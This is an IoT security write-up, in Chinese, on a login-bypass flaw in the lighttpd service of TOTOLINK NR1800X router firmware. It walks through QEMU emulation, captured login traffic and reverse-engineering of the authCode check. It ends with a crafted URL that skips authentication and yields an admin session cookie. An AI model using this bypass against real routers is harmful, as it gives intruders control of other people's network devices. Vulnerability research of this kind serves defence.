TOTOLINK_NR1800X绕过登录漏洞分析--lighttpd服务
sn0w 发表于 湖南 IoT安全 926浏览 · 2024-07-29 10:18

固件提取:

https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/225/ids/36.html

环境搭建

首先收集信息发现程序是通过lighttpd启动的,架构是小端序的mips架构

因为程序的特殊性,本次复现会通过用户态和系统态两个状态进行复现

用户态

启动

sudo chroot . ./qemu-mipsel-static ./usr/sbin/lighttpd

这里报了错 要指定配置文件

这里说没有/var/run/lighttpd.pid文件 我们创造一个就好

可以看到程序确实是启动了 但是根本就没有回显,这就是用户态造成的问题了,接下来我们用系统态复现

系统态

用户态访问是白板,很显然是哪里出了问题,很大可能是配置文件没有加载全,这种情况就转化为系统态

QEMU启动虚拟机所需要的镜像

wget https://people.debian.org/~aurel32/qemu/mipsel/debian_squeeze_mipsel_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta

配置本地

sudo brctl addbr virbr0
sudo ifconfig virbr0 192.168.2.1/24 up
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.2.11/24 up
sudo brctl addif virbr0 tap0

启动之后配置如下图

sudo qemu-system-mipsel -M malta \ 
    -kernel vmlinux-3.2.0-4-4kc-malta \
    -hda debian_squeeze_mipsel_standard.qcow2 \
    -append "root=/dev/sda1 console=tty0" -nographic \
    -net nic -net tap,ifname=tap0,script=no,downscript=no

再配置宿主机

ifconfig eth0 192.168.2.12 up

将文件复制到虚拟环境中

scp -r squashfs-root/ root@192.168.2.12:/root/

遇到了一个报错

我们要指定ssh客户端使用的密钥类型

sudo scp -o HostKeyAlgorithms=+ssh-rsa -r squashfs-root/ root@172.26.71.12:/root/

chroot ./squashfs-root/ /bin/sh

在执行命令启动环境

成功启动环境

登录验证绕过漏洞分析

先通过抓包观察

POST /cgi-bin/cstecgi.cgi?action=login HTTP/1.1
Host: 192.168.2.12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: http://192.168.2.12
Connection: close
Referer: http://192.168.2.12/login.html
Upgrade-Insecure-Requests: 1
Priority: u=0, i

username=admin&password=55555

响应包

HTTP/1.1 302 Found
Connection: close
Content-type: text/plain
Connection: Keep-Alive
Pragma: no-cache
Cache-Control: no-cache
Location: http://192.168.2.12/formLoginAuth.htm?authCode=0&userName=&goURL=login.html&action=login
Date: Mon, 29 Jul 2024 08:07:07 GMT
Server: lighttpd/1.4.20
Content-Length: 11

protal page

对第一个包进行分析

POST /cgi-bin/cstecgi.cgi?action=login HTTP/1.1 可以知道在cstecgi.cgi中,我们跟进分析,可以根据第一个抓包的内容跟踪程序执行流

而off_44C074对应的是 sub_42AEEC函数

从我们第二个包的分析中可以看出程序执行的是红框框的那部分 http://192.168.2.12/formLoginAuth.htm?authCode=0&userName=&goURL=login.html&action=login

可以跟踪authCode 在lighttpd程序中定位到Form_Login

goURL就是接下来要访问的html文件,authCode则是验证是否正确登录的一个值,

因此我们可以构造下面的url,来绕过登录,进入后台,并且可以获取到cookie的SESSION_ID。

http://192.168.2.12/formLoginAuth.htm?authCode=1&userName=admin&password=aaa&goURL=home.html&action=login

参考文献:https://www.freebuf.com/vuls/348900.html

0 条评论
某人
表情
可输入 255